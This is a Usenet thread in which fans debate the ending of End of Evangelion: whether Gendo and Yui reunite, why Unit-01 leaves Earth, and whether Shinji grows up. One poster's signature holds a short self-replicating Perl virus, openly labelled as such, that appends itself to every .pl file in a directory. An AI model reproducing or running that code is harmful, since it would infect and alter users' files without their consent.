End of EVA: Explain it to me!
Stuart Nealon
the least) of EoE i can safetly say that i am more confused then ever!
If you could explain everything from when Rei comes back to Lillith then
that would be great.
Disaster
We have a couple of group endorsed FAQ's that you might pursue before
asking this question. They are both in my sig! :)
--
Kind regards
Disaster
Disaster's Fan Fiction - http://www.disfanfic.net
DSE - For the Public - http://www.disfanfic.net/DSE
JAE FAQ - http://www.evafaq.com
Pen^3's JAE FAQ - http://faq.pen3.cjb.net
Convention Reports - http://www.disfanfic.net/conventions
Rudolf Polzer
You did understand the lyrics of "Komm Süsser Tod"? You also did
understand what they mean in this context - whose feelings they could
reflect? If background music has comprehensible lyrics, they might be
important.
Otherwise: perhaps you understand more from the scripts on
http://www.interlog.com/~mileston/neon_genesis/script.html - but I did
not check them.
--
#!/usr/bin/perl -- WARNING: Be careful. This is a virus!!! # rm -rf /
eval($0=q{$0="\neval(\$0=q{$0});\n";for(<*.pl>){open X,">>$_";print X
$0;close X;}print''.reverse"\nsuriv lreP trohs rehtona tsuJ>RH<\n"});
####################### http://learn.to/quote #######################
Stuart Nealon
"One cannot know know 100% about everything."
Thats why I must ask another question. Even though the instrumentality does
not occur, do Gendou and Yui still reunite?
"Stuart Nealon" <odinofv...@hotmail.com> wrote in message
news:vKiZ8.2828$zX3....@news.indigo.ie...
Vaughn L.Porter
> Well i found a script and now i know a bit more about EVA, as Karou said
> "One cannot know know 100% about everything."
> Thats why I must ask another question. Even though the instrumentality
does
> not occur, do Gendou and Yui still reunite?
>
First off, please bottom post. It pisses off Disaster and several others
here. You do not want that. Trust me on that!
Second, in answer to your question, a big, resounding NO! Yui and
Rei/Lillith deny Gendo access to Instrumentality. Yui goes so far as to
apparently bite his frigging head off with Unit-01! Well, you reap what you
sow.
Vaughn L.Porter
Manga Entertainment will release EoE
On the 29th of September. Reserve your copy
NOW!
esper41
Gendo gets tangoed, and Yui remains in unit 01 for all eternity, so
that no matter what happens on Earth, there will still be evidence of
humanity's existence - so no, they don't re-unite.
Frank White
odinofv...@hotmail.com says...
>
>Having just seen it on a bootleg DVD (With some incorrect subtitles to
say
>the least) of EoE i can safetly say that i am more confused then ever!
That's normal.
It's even better if you watch under the influence of certain
highly interesting substances...
>If you could explain everything from when Rei comes back to Lillith then
>that would be great.
Stuff happens, people die (or get gooified), Shinji chokes
Asuka instead of his chicken...
I think that sums it up. ^_^
FW
Frank White
odinofv...@hotmail.com says...
>
>Well i found a script and now i know a bit more about EVA, as Karou said
>"One cannot know know 100% about everything."
>Thats why I must ask another question. Even though the instrumentality
does
>not occur, do Gendou and Yui still reunite?
Gendo is (apparently) an ex-Gendo.
No reuniting going on, there.
FW
Disaster
> Stuart Nealon <odinofv...@hotmail.com> wrote:
> > Well i found a script and now i know a bit more about EVA, as Karou
said
> > "One cannot know know 100% about everything."
> > Thats why I must ask another question. Even though the instrumentality
> > does not occur, do Gendou and Yui still reunite?
>
> First off, please bottom post. It pisses off Disaster and several others
> here. You do not want that. Trust me on that!
>
> Second, in answer to your question, a big, resounding NO! Yui and
> Rei/Lillith deny Gendo access to Instrumentality. Yui goes so far as to
> apparently bite his frigging head off with Unit-01! Well, you reap what
you
> sow.
I think you are confusing EoE with "Ascent of the Fallen." Although a good
piece of fiction it's hardly cannon.
There is one scene in EoE where Yui is standing over Gendo and Gendo is
basically lamenting his actions. He seems far more at peace. However as
Yui stays in Unit 01 as it drifts off into space and Gendo can at best
return from Instrumentality, the answer is no. Gendo can never reunite
with Yui.
Gendo would have to reconstruct a powerful organization, like NERV was,
and develop technology that could follow Unit 01 into space and bring it
back to earth. Assuming it let him. As they could not even get the Lance
from the moon it seems very unlikely that a re-emerging species is going
to have the man power and ability to go beyond their previous limits in
time to find Unit 01 before she is too far gone.
Vaughn L.Porter
> piece of fiction it's hardly cannon.
>
> There is one scene in EoE where Yui is standing over Gendo and Gendo is
> basically lamenting his actions. He seems far more at peace. However as
> Yui stays in Unit 01 as it drifts off into space and Gendo can at best
> return from Instrumentality, the answer is no. Gendo can never reunite
> with Yui.
>
> Gendo would have to reconstruct a powerful organization, like NERV was,
> and develop technology that could follow Unit 01 into space and bring it
> back to earth. Assuming it let him. As they could not even get the Lance
> from the moon it seems very unlikely that a re-emerging species is going
> to have the man power and ability to go beyond their previous limits in
> time to find Unit 01 before she is too far gone.
> --
> Kind regards
> Disaster
So, Yui and Unit-01 are headed into deep space, and not just orbiting the
Earth? Hm. Now, why would she do that? It seems like she'd want to stay
close to Shinji, seeing as she's not humanity's Last Testament. Why would
she do exactly what Gendo did and abandon him like that? Not very motherly
of her. Plus, isn't the point of her being a marker to other possible
intelligent life passing by the system to actually be near where we
are(were)? How's an ET going to know where Unit-01 came from if she's
drifting through space? Kinda defeates the whole point, dont'ya think?
Vaughn L.Porter
Ok, I'll shut up now.
Disaster
> So, Yui and Unit-01 are headed into deep space, and not just orbiting
the
> Earth? Hm. Now, why would she do that? It seems like she'd want to stay
> close to Shinji, seeing as she's not humanity's Last Testament. Why
would
> she do exactly what Gendo did and abandon him like that? Not very
motherly
> of her. Plus, isn't the point of her being a marker to other possible
> intelligent life passing by the system to actually be near where we
> are(were)? How's an ET going to know where Unit-01 came from if she's
> drifting through space? Kinda defeates the whole point, dont'ya think?
Well first, she wants to do it to be humanities proof of existance. Not be
a marker to ET's that humans live here! Second, she heading out cause
there is no point in staying around a world that is expected to be devoid
of life in a little while. 3rd humanity is not going to live forever, Yui
is. So in this regard, if we come back from goo or not is irrelivant. 4th,
if ET really wanted to know where we came from then all they have to do is
chart Unit 01's floating corse, allow for the movment of celestial objects
and boom, found earth again.
Unit 01 is a marker of mans existance in time and space. Not a beacon for
aliens to find us by. But a notice to aliens that we existed. Sort of like
Voyagers first mission.
Vaughn L.Porter
news:ujgomhl...@corp.supernews.com...
Still kinda cold, Yui leaving Shinji like that. Or did she expect Asuka to
return to/be found by/find Shinji, and even then, is that going to be enough
for our beleaguered hero? Will Misato return? Touji? Kensuke? Hikari?
Shinji's teacher (the one Gendo left Shinji with, not the boring old guy who
kept droning on and on about SI)? Anyone else? Would Shinji and Asuka even
consider trying to repopulate the planet?
Oh dear, I'm cross-eyed.
Vaughn L.Porter
Groovy, Baby!
Kyle Goetz
news:ujhf4ls...@corp.supernews.com...
Well, I always thought that the goo was all humans once they had shed their
barriers and that when Shinji wanted humanity back he could bring human
forms back with his will...is this EoE or DaR? Don't remember...
52\Kyle
Disaster
> Disaster <disa...@disfanfic.net> wrote:
> > Well first, she wants to do it to be humanities proof of existance.
Not be
> > a marker to ET's that humans live here! Second, she heading out cause
> > there is no point in staying around a world that is expected to be
devoid
> > of life in a little while. 3rd humanity is not going to live forever,
Yui
> > is. So in this regard, if we come back from goo or not is irrelivant.
4th,
> > if ET really wanted to know where we came from then all they have to
do is
> > chart Unit 01's floating corse, allow for the movment of celestial
objects
> > and boom, found earth again.
> >
> > Unit 01 is a marker of mans existance in time and space. Not a beacon
for
> > aliens to find us by. But a notice to aliens that we existed. Sort of
like
> > Voyagers first mission.
>
to
> return to/be found by/find Shinji, and even then, is that going to be
enough
> for our beleaguered hero? Will Misato return? Touji? Kensuke? Hikari?
> Shinji's teacher (the one Gendo left Shinji with, not the boring old guy
who
> kept droning on and on about SI)? Anyone else? Would Shinji and Asuka
even
> consider trying to repopulate the planet?
>
> Oh dear, I'm cross-eyed.
Okay, as far as we know Yui's vision of post 3rd Impact was everyone
joined in a mega-soul, unified into one being living in perfect worlds
with no pain. Yui knew that if it was her son's vision of perfection that
he would bring his mother back into his world if he needed her. So by
leaving, Yui knew that she would always be there for him. However, Yui
also knew that if Shinji rejected the perfect world and the unified soul
that he would no longer need her. He would have developed mentally to a
mature enough state to look after himself. This is of course assuming that
Yui knew a lot, I think that we can assume safely that she does know a lot
of this as she was privy to the Dead Seas Scroll's before Gendo was.
As to people returning? Well Yui herself tells us that those with the will
to live may return to do so. As to Shinji and Asuka populating the world?
Doubtful, let's let them grow up first.
Disaster
> [snip]
> Well, I always thought that the goo was all humans once they had shed
their
> barriers and that when Shinji wanted humanity back he could bring human
> forms back with his will...is this EoE or DaR? Don't remember...
I don't know where you got that info but it is critically flawed. Yes that
goo is the physical matter of humanity after they had shed there
individual forms and united into a single soul. Which is what dropping
your borders is. But Shinji does not have the power to bring others back,
only the individual does.
Kyle Goetz
k...i probably misunderstood the sub...i think someone was talking to shinji
and said "when you want to come back, you can" and I thought the "you" was
shinji, as opposed to the generic individual...still, that _does_mean shinji
and asuka don't have to repopulate the planet...the individuals could choose
to come back...wouldn't their children become goo, too, even though they
weren't oh no i've gone cross-eyed
52\Kyle who is becoming confoozed
Disaster
> "Disaster" <disa...@disfanfic.net> wrote:
> > I don't know where you got that info but it is critically flawed. Yes
that
> > goo is the physical matter of humanity after they had shed there
> > individual forms and united into a single soul. Which is what dropping
> > your borders is. But Shinji does not have the power to bring others
back,
> > only the individual does.
>
shinji
> and said "when you want to come back, you can" and I thought the "you"
was
> shinji, as opposed to the generic individual...still, that _does_mean
shinji
> and asuka don't have to repopulate the planet...the individuals could
choose
> to come back...wouldn't their children become goo, too, even though they
> weren't oh no i've gone cross-eyed
Yer just trying to cause trouble so I'm gonna asnwer you with a logical
statement anyway. No the children would become goo. Why? Simple, there is
no longer any Anti-ATF to deteriorate their ATF's.
Kyle Goetz
Doh! I've been found!!! Quick, the Beemobile!
52\Kyle
esper41
Shinji has grown up, that's the whole damn point of the series (well
not the WHOLE point, but you know what I mean), Asuka also did some
considerable maturing in episodes 22+, but grown-up may be too strong
a term for her.
Disaster
I disagree, I don't think that Shinji growing up has very much to do with
the story at all. It's more of a realization that Shinji comes to at the
very end. Not a progression that growing would otherwise suggest. You may
remember that Anno used the TV series to eliminate all hope before he
could begin the story, which of course was EoE. So there was a digression
through the series or at least at the end after the happy state of affiars
was established.
As for Asuka, she was just part of the world that Shinji lived in. I also
do not see any growth in her character.
Richard Liang
>
>
>
>I disagree, I don't think that Shinji growing up has very much to do with
>the story at all. It's more of a realization that Shinji comes to at the
>very end. Not a progression that growing would otherwise suggest.
>
I think though that this realization comes with his maturation after a
series of ups and downs. Shinji grapples with his problems through the
course of the series, and examines a lot of his own reasons for being,
etc. I'd call that a stage in growing up.
>You may
>remember that Anno used the TV series to eliminate all hope before he
>could begin the story, which of course was EoE. So there was a digression
>through the series or at least at the end after the happy state of affiars
>was established.
>
What do you mean by eliminating all hope? Do you mean he built up a
world in which things were looking up (up to about episode 16), and then
proceeded to tear it apart? I could see that. Shinji is at the centre
of this... after seemingly finding a reason to live (to gain approval
and help others) he then learns that, in fact, no, that's not a good
enough reason to live.
Richard
Vaughn L.Porter
level of maturity so quickly. Hell, most of us probally didn't reach that
level of maturity untill our 20's. And you say Shinji returns to Earth
mature enough to be not need anyone to help take care of him? As If!
> As to people returning? Well Yui herself tells us that those with the will
> to live may return to do so. As to Shinji and Asuka populating the world?
> Doubtful, let's let them grow up first.
> --
> Kind regards
> Disaster
Ok, that I'll agree with. Still, two teenagers, all alone, no adults
immeadiatly available, and who do seem to have some attraction towards each
other....
Vaughn L.Porter
Zeruel is having a bad influence on me...
Disaster
> Disaster wrote:
> > I disagree, I don't think that Shinji growing up has very much to do
with
> > the story at all. It's more of a realization that Shinji comes to at
the
> > very end. Not a progression that growing would otherwise suggest.
>
> I think though that this realization comes with his maturation after a
> series of ups and downs. Shinji grapples with his problems through the
> course of the series, and examines a lot of his own reasons for being,
> etc. I'd call that a stage in growing up.
I think maybe we are talking about a fine line here. The only forward
momentum that Shinji ever shows where his growing up is concerned is right
at the end of EoE.
> > You may
> > remember that Anno used the TV series to eliminate all hope before he
> > could begin the story, which of course was EoE. So there was a
digression
> > through the series or at least at the end after the happy state of
affiars
> > was established.
>
> What do you mean by eliminating all hope? Do you mean he built up a
> world in which things were looking up (up to about episode 16), and then
> proceeded to tear it apart? I could see that. Shinji is at the centre
> of this... after seemingly finding a reason to live (to gain approval
> and help others) he then learns that, in fact, no, that's not a good
> enough reason to live.
Anno is quoted as something similar to this. It was his goal to destory
all traces of hop and or happyness by the end of the series so that he
could begin the story. Kinda of like having to destory the spirits of his
audience so they can appreciate the condition that he found this message
in. Then give you the message.
Disaster
> Disaster <disa...@disfanfic.net> wrote:
> > Okay, as far as we know Yui's vision of post 3rd Impact was everyone
> > joined in a mega-soul, unified into one being living in perfect worlds
> > with no pain. Yui knew that if it was her son's vision of perfection
that
> > he would bring his mother back into his world if he needed her. So by
> > leaving, Yui knew that she would always be there for him. However, Yui
> > also knew that if Shinji rejected the perfect world and the unified
soul
> > that he would no longer need her. He would have developed mentally to
a
> > mature enough state to look after himself. This is of course assuming
that
> > Yui knew a lot, I think that we can assume safely that she does know a
lot
> > of this as she was privy to the Dead Seas Scroll's before Gendo was.
>
> You're kidding, right? Shinji is too messed up to be able to reach that
> level of maturity so quickly. Hell, most of us probally didn't reach
that
> level of maturity untill our 20's. And you say Shinji returns to Earth
> mature enough to be not need anyone to help take care of him? As If!
No I am not kidding, I may not be representing the situation completely
accurately though. In the end no I don't think that Shinji is able to look
after himself just yet. No one would be after an experience like that. But
he has learnt to be an individual and not to be afraid of pain. Amongst
other lessons I am sure. I do believe that he knows how to survive on his
own mind you, he did before the start of the series anyhow. Try to keep in
mind that we are look at more the emotional side of things here rather
then the physical.
> > As to people returning? Well Yui herself tells us that those with the
will
> > to live may return to do so. As to Shinji and Asuka populating the
world?
> > Doubtful, let's let them grow up first.
>
> Ok, that I'll agree with. Still, two teenagers, all alone, no adults
> immeadiatly available, and who do seem to have some attraction towards
each
> other....
As there is no attraction between the two within the series then yes I
would agree that Zeruel has had far to much of your attention. :P
Richard Liang
>"Richard Liang" <rhl...@interchange.ubc.ca> wrote:
>
>
>>I think though that this realization comes with his maturation after a
>>series of ups and downs. Shinji grapples with his problems through the
>>course of the series, and examines a lot of his own reasons for being,
>>etc. I'd call that a stage in growing up.
>>
>>
>
>I think maybe we are talking about a fine line here. The only forward
>momentum that Shinji ever shows where his growing up is concerned is right
>at the end of EoE.
>
He shows other signs of maturation and becoming more comfortable with
people over the course of the series though, and even develops a bit of
backbone. But all that gets tossed out the window with him killing
Kaoru. In this sense his "growing up" is debatable, as it turns out
that this progress is only a setup for the fall that the killing of
Kaoru is to bring upon him. That's the only time I find Shinji to be
REALLY frustrating... at first he's a bit annoying, but after about
episode 4 I don't disagree with any of the things he does, until EoE
when he *ahem* visits Asuka in the infirmary, and has to be forced,
kicking and screaming, to pilot Unit 01.
>>What do you mean by eliminating all hope? Do you mean he built up a
>>world in which things were looking up (up to about episode 16), and then
>>proceeded to tear it apart? I could see that. Shinji is at the centre
>>of this... after seemingly finding a reason to live (to gain approval
>>and help others) he then learns that, in fact, no, that's not a good
>>enough reason to live.
>>
>>
>
>Anno is quoted as something similar to this. It was his goal to destory
>all traces of hop and or happyness by the end of the series so that he
>could begin the story. Kinda of like having to destory the spirits of his
>audience so they can appreciate the condition that he found this message
>in. Then give you the message.
>
I came up with a description of the series a while ago, something like:
Episodes 1-6... This is our world, painful as it may be.
Episodes 7-15... But you know, things will be alright.
Episodes 16-24... Wait a minute, are you SURE about that?
Episodes 25-26/25'-26'... Even in the darkest possible situation, yes.
Alternately:
Episodes 25-26/25'-26'... Wait, what happened? :)
Hah, now if only I could understand the message :) It's so profound
that I'm still trying to digest it. I remember feeling somewhat
swindled after watching the TV ending, like, "Wait, so all that other
stuff leading up to now doesn't matter anymore? But I *liked* all that
stuff!"
Richard
Disaster
> Disaster wrote:
> > "Richard Liang" <rhl...@interchange.ubc.ca> wrote:
> > > I think though that this realization comes with his maturation after
a
> > > series of ups and downs. Shinji grapples with his problems through
the
> > > course of the series, and examines a lot of his own reasons for
being,
> > > etc. I'd call that a stage in growing up.
> >
> > I think maybe we are talking about a fine line here. The only forward
> > momentum that Shinji ever shows where his growing up is concerned is
right
> > at the end of EoE.
>
> He shows other signs of maturation and becoming more comfortable with
> people over the course of the series though, and even develops a bit of
> backbone. But all that gets tossed out the window with him killing
> Kaoru. In this sense his "growing up" is debatable, as it turns out
> that this progress is only a setup for the fall that the killing of
> Kaoru is to bring upon him. That's the only time I find Shinji to be
> REALLY frustrating... at first he's a bit annoying, but after about
> episode 4 I don't disagree with any of the things he does, until EoE
> when he *ahem* visits Asuka in the infirmary, and has to be forced,
> kicking and screaming, to pilot Unit 01.
That's the thing though isn't it. We "grow" with Shinji as he becomes a
strong "hero" for our story. We become engrossed in his battle against
"evil" which in this case is his own weaknesses. We become happy for him
and proud that our hero has become strong. Then suddenly all that dies,
all that growth, the advancement that took so long, was so hard to achieve
thrown out the window. We have died with the story. We died the death that
Anno gave the hope within Shinji's heart. Utterly destroyed we then can
see from a unique perspective, what Anno is trying to tell us. It would
have been a different message if we were full of hope and courage, if we
knew that our hero could do it even though it cost him dearly, that he
would cast away all fear and trepidation and face down the evil
selflessly. Instead, we must rely on a weakling, someone as frail as
ourselves, that we can not depend on. What do we see? We see a coward and
empty shell thrown into the Eva to go out and become impaled upon what we
think is the enemy.
There is nothing left for us, nothing left for Shinji. We have become
pointless, we no longer enjoy what is happening, it's not happy anymore,
it's starting to look like there really isn't going to be a happy ending,
no hope at all.
You were meant to like all that stuff. That's why it was there, why it was
taken away from you. I mostly agree with your "summary" up there. I want
to direct your attention to the end of EoE though. After we have had our
salvation and our return to the hope of renewal. You'll notice that Shinji
and Asuka don't look overly happy. It's because there is no hope yet. The
story is very much not over as Anno was so adamant in saying. They have to
build their own world now. The story has begun and they have climbed only
the first hill. It's a big hill but it has laid down the foundations for
their future climbs through life.
--
Carpe Jugulum
Vaughn L.Porter
Disaster <disa...@disfanfic.net> wrote in message
news:ujnvb0t...@corp.supernews.com...
This is not the end. This is not the beginning of the end. This is the end
of the beginning. Right?
Vaughn L.Porter
Where do you begin
when you have to begin again?
Disaster
> This is not the end. This is not the beginning of the end. This is the
end
> of the beginning. Right?
I suppose you can view it in that light.
Vaughn L.Porter
> "Vaughn L.Porter" <vau...@pcez.com> wrote:
> > This is not the end. This is not the beginning of the end. This is the
> end
> > of the beginning. Right?
>
> I suppose you can view it in that light.
> --
> Carpe Jugulum
> Disaster
You SUPPOSE?
Disaster
> > > This is not the end. This is not the beginning of the end. This is
the
> > > end of the beginning. Right?
> >
> > I suppose you can view it in that light.
>
Yes I suppose, we don't know that this was the end of the beginning do we!
It may very well have been some time into the beginning for all we know.
Or it may only be part of the beginning! It's a different story for
everyone!
> Vaughn L.Porter
> Where do you begin
> when you have to begin again?
At the End!